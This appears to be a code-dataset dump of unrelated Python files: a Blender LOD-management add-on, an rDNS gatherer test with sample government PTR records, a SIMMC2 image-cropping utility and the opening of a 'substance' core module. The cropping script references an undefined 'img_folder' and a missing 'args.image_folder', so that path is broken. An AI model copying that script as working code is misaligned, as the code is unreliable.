bl_parent_id="F3B_TOOLS_PT_data_panel"
COMPAT_ENGINES = {'BLENDER_EEVEE'}
def draw(self, context):
# Lod [0] SHOW
self.layout.use_property_split = True
hasPrevious=False
for i in range(0,4):
col = self.layout.column()
row = col.row()
split = row.split(factor=0.3)
hasNext=False
hasCurrent=False
m="unset"
if i==0:
m="Mesh"
hasCurrent=True
else:
lod=findLod(bpy.context.active_object,i)[0]
if i < 3:
hasNext=findLod(bpy.context.active_object,i+1)[0] != None
if lod:
m=lod.data.name
hasCurrent=True
split.column().label(text="Lod["+str(i)+"] ("+m+")")
split=split.split(factor=0.3)
c=split.column()
showbtn=c.operator("f3btools.lod_show",text="Show")
showbtn.lodLevel=i
c.enabled=hasCurrent
split=split.split(factor=0.5)
c=split.column()
assignbtn=c.operator("f3btools.lod_assign",text="Assign Selected")
assignbtn.lodLevel=i
c.enabled=hasPrevious
split=split.split()
c=split.column()
rembtn=c.operator("f3btools.lod_remove",text="Remove")
rembtn.lodLevel=i
c.enabled=not hasNext and hasCurrent and hasPrevious
hasPrevious=hasCurrent
def register():
bpy.utils.register_class(F3B_TOOLS_PT_lod_data_panel)
bpy.utils.register_class(F3B_TOOLS_lod_show)
bpy.utils.register_class(F3B_TOOLS_lod_assign)
bpy.utils.register_class(F3B_TOOLS_lod_remove)
def unregister():
bpy.utils.unregister_class(F3B_TOOLS_PT_lod_data_panel)
bpy.utils.unregister_class(F3B_TOOLS_lod_show)
bpy.utils.unregister_class(F3B_TOOLS_lod_assign)
bpy.utils.unregister_class(F3B_TOOLS_lod_remove) | blender_f3b/tools/F3bLod.py | import bpy
import uuid
from bpy.types import Menu, Panel, UIList,UILayout,Operator
def findLod(obj,lodLevel,set=None,replace=True):
lod=None
collection=None
if obj.data!=None and "_f3b_Lod" in obj.data:
lodGroup=obj.data["_f3b_Lod"]
lodName="LOD"+str(lodLevel)+"_"
if lodGroup in bpy.context.scene.collection.children:
collection=bpy.context.scene.collection.children[lodGroup]
for llod in collection.objects:
if llod.name.startswith(lodName):
lod=llod
break
if set:
if not lod:
lod= bpy.data.objects.new(lodName+str(uuid.uuid4()),set)
collection.objects.link(lod)
elif replace:
lod.data=set
lod.data["_f3b_Lod"]=lodGroup
return [lod,collection]
def removeLod(lodData):
if not lodData[0]: return
lodData[1].objects.unlink(lodData[0])
bpy.data.objects.remove(lodData[0], do_unlink=True)
def selectLod(obj,lodLevel):
found=False
lodZero=None
if lodLevel != 0:
lodZero=findLod(obj,0,set=obj.data,replace=False)[0]
lod=findLod(obj,lodLevel)[0]
if lod !=None:
obj.data=lod.data
if lodLevel!=0:
# obj.data.materials.clear()
for i in range(0,len(lodZero.data.materials)):
if len(obj.data.materials)<i: obj.data.materials.append(lodZero.data.materials[i])
else: obj.data.materials[i]=lodZero.data.materials[i]
found=True
if lodLevel==0:
lodData=findLod(obj,0)
linked=False
for obj in bpy.context.scene.objects:
if obj.data != None and lodData[0]!=None and obj.data==lodData[0].data:
linked=True
break
if not linked: removeLod(lodData)
found=True
return found
def initLods(obj):
lodGroupName=""
if not "_f3b_Lod" in obj.data:
lodGroupName="LOD_"+str(uuid.uuid4())
obj.data["_f3b_Lod"]=lodGroupName
else:
lodGroupName=obj.data["_f3b_Lod"]
if not lodGroupName in bpy.context.scene.collection.children:
col=bpy.data.collections.new(lodGroupName)
bpy.context.scene.collection.children.link(col)
bpy.context.window.view_layer.layer_collection.children[col.name].exclude=True
selectLod(obj,0)
def setAsLodLevel(obj,lodLevel,lodObj):
if lodObj == None:
lodData=findLod(obj,lodLevel)
removeLod(lodData)
selectLod(obj,0)
else:
lod=findLod(obj,lodLevel,set=lodObj.data)[0]
bpy.data.objects.remove(lodObj, do_unlink=True)
class F3B_TOOLS_lod_show(Operator):
bl_idname = "f3btools.lod_show"
bl_label = "Show lod level"
filename_ext = ""
lodLevel=bpy.props.IntProperty()
target=None
def execute(self, context):
tg=self.target if self.target!=None else bpy.context.active_object
initLods(tg)
selectLod(tg,self.lodLevel)
return {"FINISHED"}
class F3B_TOOLS_lod_remove(Operator):
bl_idname = "f3btools.lod_remove"
bl_label = "Remove lod"
filename_ext = ""
lodLevel=bpy.props.IntProperty()
target=None
def execute(self, context):
tg=self.target if self.target!=None else bpy.context.active_object
setAsLodLevel(tg,self.lodLevel,None)
return {"FINISHED"}
class F3B_TOOLS_lod_assign(Operator):
bl_idname = "f3btools.lod_assign"
bl_label = "Assign lod level"
filename_ext = ""
lodLevel=bpy.props.IntProperty()
target=None
selected=None
def execute(self, context):
tg=self.target if self.target!=None else bpy.context.active_object
sl=self.selected
if not sl:
for o in bpy.context.scene.objects:
if o.select_get() and o != tg:
sl=o
break
if sl:
initLods(tg)
setAsLodLevel(tg,self.lodLevel,sl)
return {"FINISHED"}
class F3B_TOOLS_PT_lod_data_panel(Panel):
bl_label = "Lod"
bl_idname = "F3B_TOOLS_PT_lod_data_panel"
bl_context = "data"
bl_space_type = 'PROPERTIES'
bl_region_type = 'WINDOW'
bl_parent_id="F3B_TOOLS_PT_data_panel"
COMPAT_ENGINES = {'BLENDER_EEVEE'}
def draw(self, context):
# Lod [0] SHOW
self.layout.use_property_split = True
hasPrevious=False
for i in range(0,4):
col = self.layout.column()
row = col.row()
split = row.split(factor=0.3)
hasNext=False
hasCurrent=False
m="unset"
if i==0:
m="Mesh"
hasCurrent=True
else:
lod=findLod(bpy.context.active_object,i)[0]
if i < 3:
hasNext=findLod(bpy.context.active_object,i+1)[0] != None
if lod:
m=lod.data.name
hasCurrent=True
split.column().label(text="Lod["+str(i)+"] ("+m+")")
split=split.split(factor=0.3)
c=split.column()
showbtn=c.operator("f3btools.lod_show",text="Show")
showbtn.lodLevel=i
c.enabled=hasCurrent
split=split.split(factor=0.5)
c=split.column()
assignbtn=c.operator("f3btools.lod_assign",text="Assign Selected")
assignbtn.lodLevel=i
c.enabled=hasPrevious
split=split.split()
c=split.column()
rembtn=c.operator("f3btools.lod_remove",text="Remove")
rembtn.lodLevel=i
c.enabled=not hasNext and hasCurrent and hasPrevious
hasPrevious=hasCurrent
def register():
bpy.utils.register_class(F3B_TOOLS_PT_lod_data_panel)
bpy.utils.register_class(F3B_TOOLS_lod_show)
bpy.utils.register_class(F3B_TOOLS_lod_assign)
bpy.utils.register_class(F3B_TOOLS_lod_remove)
def unregister():
bpy.utils.unregister_class(F3B_TOOLS_PT_lod_data_panel)
bpy.utils.unregister_class(F3B_TOOLS_lod_show)
bpy.utils.unregister_class(F3B_TOOLS_lod_assign)
bpy.utils.unregister_class(F3B_TOOLS_lod_remove) | 0.089482 | 0.095139 |
import pytest
from .context import gatherers # noqa
from gatherers import rdns
@pytest.mark.parametrize("data,expected", [
(
[
'{"value": "18f.gov"}',
'{"value": "123.112.18f.gov"}',
'{"value": "172.16.17.32"}',
'{"value": "u-123.112.23.23"}',
'{"value": "123.112.fed.us"}',
'{"value": "something.fed.us"}',
'{"value": "18f.gsa.gov"}',
'{"timestamp":"1510189589","name":"172.16.17.32","value":"www.bart.gov","type":"ptr"}',
'{"timestamp":"1510189590","name":"192.168.3.11","value":"z-166-2-164-127.ip.fs.fed.us","type":"ptr"}',
'{"timestamp":"1510189590","name":"192.168.3.11","value":"z-199-131-187-116.ip.fs.fed.us","type":"ptr"}',
'{"timestamp":"1510189590","name":"192.168.3.11","value":"192.168.3.11.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189591","name":"172.16.17.32","value":"wildcard.jpl.nasa.gov","type":"ptr"}',
'{"timestamp":"1510189591","name":"192.168.127.12","value":"152-132-2-60.tic.va.gov","type":"ptr"}',
'{"timestamp":"1510189591","name":"192.168.127.12","value":"z-166-3-217-20.ip.fs.fed.us","type":"ptr"}',
'{"timestamp":"1510189591","name":"172.16.58.3","value":"167-253-203-215-gov.emcbc.doe.gov","type":"ptr"}',
'{"timestamp":"1510189591","name":"192.168.127.12","value":"172.16.17.321.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189592","name":"172.16.17.32","value":"140-215-230-154.usbr.gov","type":"ptr"}',
'{"timestamp":"1510189593","name":"192.168.3.11","value":"z-166-6-157-98.ip.fs.fed.us","type":"ptr"}',
'{"timestamp":"1510189595","name":"192.168.127.12","value":"130.20.175.6.pnnl.gov","type":"ptr"}',
'{"timestamp":"1510189595","name":"192.168.3.11","value":"192.168.3.11.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189595","name":"192.168.127.12","value":"192.168.127.12.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189596","name":"192.168.127.12","value":"199.145.148.196.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189597","name":"192.168.3.11","value":"host.159-142-211-155.gsa.gov","type":"ptr"}',
'{"timestamp":"1510189597","name":"172.16.58.3","value":"u-159-189-28-97.xr.usgs.gov","type":"ptr"}',
'{"timestamp":"1510189598","name":"172.16.17.32","value":"host.jsc.nasa.gov","type":"ptr"}',
'{"timestamp":"1510189599","name":"172.16.17.32","value":"unassigned.epa.gov","type":"ptr"}',
'{"timestamp":"1510189600","name":"192.168.127.12","value":"u-130-118-135-187.xr.usgs.gov","type":"ptr"}',
'{"timestamp":"1510189600","name":"172.16.58.3","value":"140-214-229-183.usbr.gov","type":"ptr"}',
'{"timestamp":"1510189600","name":"172.16.31.10","value":"199.148.94.97.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189601","name":"172.16.58.3","value":"z-170-144-139-133.ip.fs.fed.us","type":"ptr"}',
],
[
"18f.gov",
"something.fed.us",
"18f.gsa.gov",
"www.bart.gov",
"wildcard.jpl.nasa.gov",
# "host.159-142-211-155.gsa.gov", TODO: currently gets stripped, but should it?
"host.jsc.nasa.gov",
"unassigned.epa.gov",
]
),
])
def test_query_for(data, expected):
result = rdns.process_lines(data, rdns.ip_filter, rdns.number_filter)
assert list(result) == expected | tests/test_gatherers_rdns.py | import pytest
from .context import gatherers # noqa
from gatherers import rdns
@pytest.mark.parametrize("data,expected", [
(
[
'{"value": "18f.gov"}',
'{"value": "123.112.18f.gov"}',
'{"value": "172.16.17.32"}',
'{"value": "u-123.112.23.23"}',
'{"value": "123.112.fed.us"}',
'{"value": "something.fed.us"}',
'{"value": "18f.gsa.gov"}',
'{"timestamp":"1510189589","name":"172.16.17.32","value":"www.bart.gov","type":"ptr"}',
'{"timestamp":"1510189590","name":"192.168.3.11","value":"z-166-2-164-127.ip.fs.fed.us","type":"ptr"}',
'{"timestamp":"1510189590","name":"192.168.3.11","value":"z-199-131-187-116.ip.fs.fed.us","type":"ptr"}',
'{"timestamp":"1510189590","name":"192.168.3.11","value":"192.168.3.11.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189591","name":"172.16.17.32","value":"wildcard.jpl.nasa.gov","type":"ptr"}',
'{"timestamp":"1510189591","name":"192.168.127.12","value":"152-132-2-60.tic.va.gov","type":"ptr"}',
'{"timestamp":"1510189591","name":"192.168.127.12","value":"z-166-3-217-20.ip.fs.fed.us","type":"ptr"}',
'{"timestamp":"1510189591","name":"172.16.58.3","value":"167-253-203-215-gov.emcbc.doe.gov","type":"ptr"}',
'{"timestamp":"1510189591","name":"192.168.127.12","value":"172.16.17.321.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189592","name":"172.16.17.32","value":"140-215-230-154.usbr.gov","type":"ptr"}',
'{"timestamp":"1510189593","name":"192.168.3.11","value":"z-166-6-157-98.ip.fs.fed.us","type":"ptr"}',
'{"timestamp":"1510189595","name":"192.168.127.12","value":"130.20.175.6.pnnl.gov","type":"ptr"}',
'{"timestamp":"1510189595","name":"192.168.3.11","value":"192.168.3.11.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189595","name":"192.168.127.12","value":"192.168.127.12.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189596","name":"192.168.127.12","value":"199.145.148.196.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189597","name":"192.168.3.11","value":"host.159-142-211-155.gsa.gov","type":"ptr"}',
'{"timestamp":"1510189597","name":"172.16.58.3","value":"u-159-189-28-97.xr.usgs.gov","type":"ptr"}',
'{"timestamp":"1510189598","name":"172.16.17.32","value":"host.jsc.nasa.gov","type":"ptr"}',
'{"timestamp":"1510189599","name":"172.16.17.32","value":"unassigned.epa.gov","type":"ptr"}',
'{"timestamp":"1510189600","name":"192.168.127.12","value":"u-130-118-135-187.xr.usgs.gov","type":"ptr"}',
'{"timestamp":"1510189600","name":"172.16.58.3","value":"140-214-229-183.usbr.gov","type":"ptr"}',
'{"timestamp":"1510189600","name":"172.16.31.10","value":"199.148.94.97.4k.usda.gov","type":"ptr"}',
'{"timestamp":"1510189601","name":"172.16.58.3","value":"z-170-144-139-133.ip.fs.fed.us","type":"ptr"}',
],
[
"18f.gov",
"something.fed.us",
"18f.gsa.gov",
"www.bart.gov",
"wildcard.jpl.nasa.gov",
# "host.159-142-211-155.gsa.gov", TODO: currently gets stripped, but should it?
"host.jsc.nasa.gov",
"unassigned.epa.gov",
]
),
])
def test_query_for(data, expected):
result = rdns.process_lines(data, rdns.ip_filter, rdns.number_filter)
assert list(result) == expected | 0.13005 | 0.309721 |
import os
import sys
import json
import pickle
import cv2
import random
import argparse
from pathlib import Path
from collections import OrderedDict
def find_data_dir(root_dir_name=""):
"""
For finding the right data folder, since directories of data folder are different among users
root_dir_name: root directory name of simmc2
here, data_dir means the original data folder, not folder of preprocessed data
"""
assert root_dir_name, "you must give root_dir_name"
now_dir = Path(os.getcwd())
for i in range(7): # arbitrary number. root folder should be in 7 near depth from current directory.
now_last_dir = str(now_dir).split('/')[-1]
if now_last_dir == root_dir_name or now_last_dir in root_dir_name:
break
now_dir = now_dir.parent.absolute()
root_dir = str(now_dir) # now you found full path of root_dir_name
for path, dirs, files in os.walk(root_dir): # DFS way walk
if 'data' in dirs: # consider as data folder if it has these 3 files
if (os.path.isfile(os.path.join(path, 'data', 'simmc2_dials_dstc10_train.json')) \
and os.path.isfile(os.path.join(path, 'data', 'simmc2_dials_dstc10_dev.json')) \
and os.path.isfile(os.path.join(path, 'data', 'simmc2_dials_dstc10_devtest.json'))
):
return os.path.join(path, 'data')
print('No data folder exists')
return None
def given_bbox_crop_image(image_folder:str, output_folder:str, json_folder:str = '', json_file:str = '', bbox_random_shift=True):
"""
Must give folder name or file name argument in absolute path
image_folder: folder that all the images are in
output_folder: folder that cropped output images will be in. the structure is as below
output_folder -- scene_name1_folder - idividual cropped image files
|_ scene_name2_folder - idividual cropped image files
...
json_folder: if json_folder is given, this will process cropping for all the jsonfiles in that folder,
json_file: if only json_file is given, this will process croppping only for that particular json file scene (as json filename is scene name)
bbox_random_shift: random shift range for to bbox crop, for data augmentation / model robustness. Should give empty list or None if you don't want random shift
Sometimes there are errors at bbox coordinates, scene.json is missing, or image is blank or not openable -> therefore rarely some crops won't be generated
"""
assert img_folder, "img_folder must be specified"
assert output_folder, "output_folder must be specified"
assert json_folder or json_file, 'Folder_name or image_name should be given!'
if not os.path.exists(output_folder):
os.makedirs(output_folder)
def scene_name_given_jsonfile(json_filename):
return json_filename.rsplit('_', 1)[0] if json_filename.endswith('json') or json_filename.endswith('scene') else json_filename
def crop(scene_name='', json_file=''):
if scene_name:
if not os.path.exists(os.path.join(output_folder, f'{scene_name}')):
os.makedirs(os.path.join(output_folder, f'{scene_name}'))
try:
with open(f'{json_folder}/{scene_name}_scene.json', 'r') as f_in:
objs = json.load(f_in)['scenes'][0]['objects']
except FileNotFoundError:
print(f'No file named {json_folder}/{scene_name}_scene.json!!')
return
image_filename = f'{scene_name[2:]}.png' if scene_name.startswith('m_') else f'{scene_name}.png'
elif json_file:
try:
with open(json_file, 'r') as f_in:
objs = json.load(f_in)['scenes'][0]['objects']
except FileNotFoundError:
print(f'No file named {json_file}!!')
return
scene_name_from_jsonfile = json_file.rsplit('_', 1)[0].rsplit('/', 1)[1]
if not os.path.exists(os.path.join(output_folder, f'{scene_name_from_jsonfile}')):
os.makedirs(os.path.join(output_folder, f'{scene_name_from_jsonfile}'))
image_filename = f'{scene_name_from_jsonfile[2:]}.png' if scene_name_from_jsonfile.startswith(
'm_') else f'{scene_name_from_jsonfile}.png'
image = cv2.imread(os.path.join(image_folder, image_filename))
# some images are not read or blank so causing "libpng error: IDAT: CRC error"
if image is not None:
for obj in objs:
# print(obj['index'])
index = obj['index']
x_0, y_0, h, w = obj['bbox']
if h>0 and w>0:
lowerleft_x = x_0
lowerleft_y = y_0
upperright_x = x_0 + w
upperright_y = y_0 + h
if bbox_random_shift:
try: # sometimes error happens after shifted cropping, with unknown reason. so just roughly use try catch statement for now
x1, y1, x2, y2 = lowerleft_x, lowerleft_y, upperright_x, upperright_y
shift_pixel_list = [10,7,4]
for shift in shift_pixel_list:
shifted_upperright_x = upperright_x + random.randrange(-shift,shift)
shifted_lowerleft_x = lowerleft_x + random.randrange(-shift,shift)
shifted_upperright_y = upperright_y + random.randrange(-shift,shift)
shifted_lowerleft_y = lowerleft_y + random.randrange(-shift,shift)
# get IOU
intersect_x1 = max(lowerleft_x, shifted_lowerleft_x)
intersect_y1 = max(lowerleft_y, shifted_lowerleft_y)
intersect_x2 = min(upperright_x, shifted_upperright_x)
intersect_y2 = min(upperright_y, shifted_upperright_y)
original_bbox_area = w * h
shifted_bbox_area = (shifted_upperright_x - shifted_lowerleft_x) * (shifted_upperright_y - shifted_lowerleft_y)
intersect_area = max(0, intersect_x2-intersect_x1) * max(0, intersect_y2-intersect_y1)
IOU = intersect_area / (original_bbox_area + shifted_bbox_area - intersect_area)
if IOU > 0.8:
x1, y1, x2, y2 = shifted_lowerleft_x, shifted_lowerleft_y, shifted_upperright_x, shifted_upperright_y
break
crop = image[y1:y2, x1:x2]
if scene_name:
cv2.imwrite('{}.png'.format(os.path.join(output_folder, scene_name, str(index))), crop)
elif json_file:
cv2.imwrite('{}.png'.format(os.path.join(
output_folder, scene_name_from_jsonfile, str(index))), crop)
except:
crop = image[lowerleft_y:upperright_y, lowerleft_x:upperright_x]
if scene_name:
cv2.imwrite('{}.png'.format(os.path.join(output_folder, scene_name, str(index))), crop)
elif json_file:
cv2.imwrite('{}.png'.format(os.path.join(
output_folder, scene_name_from_jsonfile, str(index))), crop)
else:
crop = image[lowerleft_y:upperright_y, lowerleft_x:upperright_x]
if scene_name:
cv2.imwrite('{}.png'.format(os.path.join(output_folder, scene_name, str(index))), crop)
elif json_file:
cv2.imwrite('{}.png'.format(os.path.join(
output_folder, scene_name_from_jsonfile, str(index))), crop)
else:
print('mislabled bbox!')
if json_folder:
for filename in os.listdir(json_folder):
if filename.endswith('.json'):
scene_name = scene_name_given_jsonfile(filename)
print('scene_name', scene_name)
crop(scene_name=scene_name)
else:
crop(json_file = json_file)
def bboxes_of_all_scenes(json_folder, picklefile=''):
"""
provide or write bboxes of all scenes.
if picklefile is provided, writes to pickle.
bboxes: {scene_json_filename1: {0:[bbox], 1:[bbox], ...}, scene_json_filename1: {...}, ...}
"""
# TODO: m_, bbox만 있는 scene들
bboxes = {}
for filename in os.listdir(json_folder):
if filename.endswith('scene.json'):
bboxes[filename] = {}
with open(f'{json_folder}/{filename}', 'r') as f_in:
objs = json.load(f_in)['scenes'][0]['objects']
for obj in objs:
x1, y1, h, w = obj['bbox']
bboxes[filename][obj['index']] = [x1, y1, x1 + w, y1 + h]
bboxes[filename] = dict(OrderedDict(sorted(bboxes[filename].items(), key=lambda t:t[0])))
if picklefile:
with open(picklefile, 'wb') as f:
pickle.dump(bboxes, f)
else:
return bboxes
def get_img_size(img_folder, json_folder, picklefile=''):
img_sizes = {}
for json_filename in os.listdir(json_folder):
if json_filename.endswith('scene.json'):
json_filename = json_filename.split('_scene')[0]
img_filename = json_filename if not json_filename.startswith('m_') else json_filename[2:]
print(json_filename, end=' ')
try:
image = cv2.imread(os.path.join(img_folder, f'{img_filename}.png'))
height, width, channel = image.shape
print(height, width)
img_sizes[json_filename] = {'w':width, 'h':height}
except:
print(f'ERROR at reading img file!!: {img_filename}')
if picklefile:
with open(picklefile, 'wb') as f:
pickle.dump(img_sizes, f)
else:
return img_sizes
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='argparse for given_bbox_crop_image or bboxes_of_all_scenes')
parser.add_argument('--function', required=True, choices=['bbox_crop', 'bbox_all', 'get_img_size'])
parser.add_argument('--img_folder', type=str)
parser.add_argument('--output_folder', type=str)
parser.add_argument('--json_folder', default='', type=str)
parser.add_argument('--json_file', default='', type=str)
parser.add_argument('--bbox_random_shift', action='store_true')
parser.add_argument('--picklefile', type=str, default='', help='if empty then just returns a dictionary')
args = parser.parse_args()
if args.function == 'bbox_crop':
given_bbox_crop_image(args.image_folder, args.output_folder, args.json_folder,
args.json_file, args.bbox_random_shift)
elif args.function == 'bbox_all':
bboxes_of_all_scenes(args.json_folder, args.picklefile)
elif args.function == 'get_img_size':
get_img_size(args.img_folder, args.json_folder, picklefile=args.picklefile)
else:
print('args.function must be one of {bbox_crop|bbox_all}')
sys.exit(1) | scripts/utils/util.py | import os
import sys
import json
import pickle
import cv2
import random
import argparse
from pathlib import Path
from collections import OrderedDict
def find_data_dir(root_dir_name=""):
"""
For finding the right data folder, since directories of data folder are different among users
root_dir_name: root directory name of simmc2
here, data_dir means the original data folder, not folder of preprocessed data
"""
assert root_dir_name, "you must give root_dir_name"
now_dir = Path(os.getcwd())
for i in range(7): # arbitrary number. root folder should be in 7 near depth from current directory.
now_last_dir = str(now_dir).split('/')[-1]
if now_last_dir == root_dir_name or now_last_dir in root_dir_name:
break
now_dir = now_dir.parent.absolute()
root_dir = str(now_dir) # now you found full path of root_dir_name
for path, dirs, files in os.walk(root_dir): # DFS way walk
if 'data' in dirs: # consider as data folder if it has these 3 files
if (os.path.isfile(os.path.join(path, 'data', 'simmc2_dials_dstc10_train.json')) \
and os.path.isfile(os.path.join(path, 'data', 'simmc2_dials_dstc10_dev.json')) \
and os.path.isfile(os.path.join(path, 'data', 'simmc2_dials_dstc10_devtest.json'))
):
return os.path.join(path, 'data')
print('No data folder exists')
return None
def given_bbox_crop_image(image_folder:str, output_folder:str, json_folder:str = '', json_file:str = '', bbox_random_shift=True):
"""
Must give folder name or file name argument in absolute path
image_folder: folder that all the images are in
output_folder: folder that cropped output images will be in. the structure is as below
output_folder -- scene_name1_folder - idividual cropped image files
|_ scene_name2_folder - idividual cropped image files
...
json_folder: if json_folder is given, this will process cropping for all the jsonfiles in that folder,
json_file: if only json_file is given, this will process croppping only for that particular json file scene (as json filename is scene name)
bbox_random_shift: random shift range for to bbox crop, for data augmentation / model robustness. Should give empty list or None if you don't want random shift
Sometimes there are errors at bbox coordinates, scene.json is missing, or image is blank or not openable -> therefore rarely some crops won't be generated
"""
assert img_folder, "img_folder must be specified"
assert output_folder, "output_folder must be specified"
assert json_folder or json_file, 'Folder_name or image_name should be given!'
if not os.path.exists(output_folder):
os.makedirs(output_folder)
def scene_name_given_jsonfile(json_filename):
return json_filename.rsplit('_', 1)[0] if json_filename.endswith('json') or json_filename.endswith('scene') else json_filename
def crop(scene_name='', json_file=''):
if scene_name:
if not os.path.exists(os.path.join(output_folder, f'{scene_name}')):
os.makedirs(os.path.join(output_folder, f'{scene_name}'))
try:
with open(f'{json_folder}/{scene_name}_scene.json', 'r') as f_in:
objs = json.load(f_in)['scenes'][0]['objects']
except FileNotFoundError:
print(f'No file named {json_folder}/{scene_name}_scene.json!!')
return
image_filename = f'{scene_name[2:]}.png' if scene_name.startswith('m_') else f'{scene_name}.png'
elif json_file:
try:
with open(json_file, 'r') as f_in:
objs = json.load(f_in)['scenes'][0]['objects']
except FileNotFoundError:
print(f'No file named {json_file}!!')
return
scene_name_from_jsonfile = json_file.rsplit('_', 1)[0].rsplit('/', 1)[1]
if not os.path.exists(os.path.join(output_folder, f'{scene_name_from_jsonfile}')):
os.makedirs(os.path.join(output_folder, f'{scene_name_from_jsonfile}'))
image_filename = f'{scene_name_from_jsonfile[2:]}.png' if scene_name_from_jsonfile.startswith(
'm_') else f'{scene_name_from_jsonfile}.png'
image = cv2.imread(os.path.join(image_folder, image_filename))
# some images are not read or blank so causing "libpng error: IDAT: CRC error"
if image is not None:
for obj in objs:
# print(obj['index'])
index = obj['index']
x_0, y_0, h, w = obj['bbox']
if h>0 and w>0:
lowerleft_x = x_0
lowerleft_y = y_0
upperright_x = x_0 + w
upperright_y = y_0 + h
if bbox_random_shift:
try: # sometimes error happens after shifted cropping, with unknown reason. so just roughly use try catch statement for now
x1, y1, x2, y2 = lowerleft_x, lowerleft_y, upperright_x, upperright_y
shift_pixel_list = [10,7,4]
for shift in shift_pixel_list:
shifted_upperright_x = upperright_x + random.randrange(-shift,shift)
shifted_lowerleft_x = lowerleft_x + random.randrange(-shift,shift)
shifted_upperright_y = upperright_y + random.randrange(-shift,shift)
shifted_lowerleft_y = lowerleft_y + random.randrange(-shift,shift)
# get IOU
intersect_x1 = max(lowerleft_x, shifted_lowerleft_x)
intersect_y1 = max(lowerleft_y, shifted_lowerleft_y)
intersect_x2 = min(upperright_x, shifted_upperright_x)
intersect_y2 = min(upperright_y, shifted_upperright_y)
original_bbox_area = w * h
shifted_bbox_area = (shifted_upperright_x - shifted_lowerleft_x) * (shifted_upperright_y - shifted_lowerleft_y)
intersect_area = max(0, intersect_x2-intersect_x1) * max(0, intersect_y2-intersect_y1)
IOU = intersect_area / (original_bbox_area + shifted_bbox_area - intersect_area)
if IOU > 0.8:
x1, y1, x2, y2 = shifted_lowerleft_x, shifted_lowerleft_y, shifted_upperright_x, shifted_upperright_y
break
crop = image[y1:y2, x1:x2]
if scene_name:
cv2.imwrite('{}.png'.format(os.path.join(output_folder, scene_name, str(index))), crop)
elif json_file:
cv2.imwrite('{}.png'.format(os.path.join(
output_folder, scene_name_from_jsonfile, str(index))), crop)
except:
crop = image[lowerleft_y:upperright_y, lowerleft_x:upperright_x]
if scene_name:
cv2.imwrite('{}.png'.format(os.path.join(output_folder, scene_name, str(index))), crop)
elif json_file:
cv2.imwrite('{}.png'.format(os.path.join(
output_folder, scene_name_from_jsonfile, str(index))), crop)
else:
crop = image[lowerleft_y:upperright_y, lowerleft_x:upperright_x]
if scene_name:
cv2.imwrite('{}.png'.format(os.path.join(output_folder, scene_name, str(index))), crop)
elif json_file:
cv2.imwrite('{}.png'.format(os.path.join(
output_folder, scene_name_from_jsonfile, str(index))), crop)
else:
print('mislabled bbox!')
if json_folder:
for filename in os.listdir(json_folder):
if filename.endswith('.json'):
scene_name = scene_name_given_jsonfile(filename)
print('scene_name', scene_name)
crop(scene_name=scene_name)
else:
crop(json_file = json_file)
def bboxes_of_all_scenes(json_folder, picklefile=''):
"""
provide or write bboxes of all scenes.
if picklefile is provided, writes to pickle.
bboxes: {scene_json_filename1: {0:[bbox], 1:[bbox], ...}, scene_json_filename1: {...}, ...}
"""
# TODO: m_, bbox만 있는 scene들
bboxes = {}
for filename in os.listdir(json_folder):
if filename.endswith('scene.json'):
bboxes[filename] = {}
with open(f'{json_folder}/{filename}', 'r') as f_in:
objs = json.load(f_in)['scenes'][0]['objects']
for obj in objs:
x1, y1, h, w = obj['bbox']
bboxes[filename][obj['index']] = [x1, y1, x1 + w, y1 + h]
bboxes[filename] = dict(OrderedDict(sorted(bboxes[filename].items(), key=lambda t:t[0])))
if picklefile:
with open(picklefile, 'wb') as f:
pickle.dump(bboxes, f)
else:
return bboxes
def get_img_size(img_folder, json_folder, picklefile=''):
img_sizes = {}
for json_filename in os.listdir(json_folder):
if json_filename.endswith('scene.json'):
json_filename = json_filename.split('_scene')[0]
img_filename = json_filename if not json_filename.startswith('m_') else json_filename[2:]
print(json_filename, end=' ')
try:
image = cv2.imread(os.path.join(img_folder, f'{img_filename}.png'))
height, width, channel = image.shape
print(height, width)
img_sizes[json_filename] = {'w':width, 'h':height}
except:
print(f'ERROR at reading img file!!: {img_filename}')
if picklefile:
with open(picklefile, 'wb') as f:
pickle.dump(img_sizes, f)
else:
return img_sizes
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='argparse for given_bbox_crop_image or bboxes_of_all_scenes')
parser.add_argument('--function', required=True, choices=['bbox_crop', 'bbox_all', 'get_img_size'])
parser.add_argument('--img_folder', type=str)
parser.add_argument('--output_folder', type=str)
parser.add_argument('--json_folder', default='', type=str)
parser.add_argument('--json_file', default='', type=str)
parser.add_argument('--bbox_random_shift', action='store_true')
parser.add_argument('--picklefile', type=str, default='', help='if empty then just returns a dictionary')
args = parser.parse_args()
if args.function == 'bbox_crop':
given_bbox_crop_image(args.image_folder, args.output_folder, args.json_folder,
args.json_file, args.bbox_random_shift)
elif args.function == 'bbox_all':
bboxes_of_all_scenes(args.json_folder, args.picklefile)
elif args.function == 'get_img_size':
get_img_size(args.img_folder, args.json_folder, picklefile=args.picklefile)
else:
print('args.function must be one of {bbox_crop|bbox_all}')
sys.exit(1) | 0.232049 | 0.280278 |
import sys
import os
import logging
from collections import OrderedDict
from substance.monads import *
from substance.logs import *
from substance.shell import Shell
from substance.engine import Engine
from substance.link import Link
from substance.box import Box
from substance.db import DB
from substance.constants import Tables, EngineStates, DefaultEngineBox
from substance.utils import (
readYAML,
writeYAML,
readSupportFile,
getSupportFile,
streamDownload,
makeXHRRequest,
sha1sum
)
from substance.path import (getHomeDirectory)
from substance.config import (Config)
from substance.driver.virtualbox import VirtualBoxDriver
from substance.exceptions import (
FileSystemError,
FileDoesNotExist,
EngineNotFoundError,
EngineExistsError,
EngineNotRunning
)
import requests
logger = logging.getLogger(__name__)
class Core(object):
def __init__(self, configFile=None, basePath=None):
self.basePath = os.path.abspath(basePath) if basePath else getHomeDirectory('.substance')
self.enginesPath = os.path.join(self.basePath, "engines")
self.boxesPath = os.path.join(self.basePath, "boxes")
self.dbFile = os.path.join(self.basePath, "db.json")
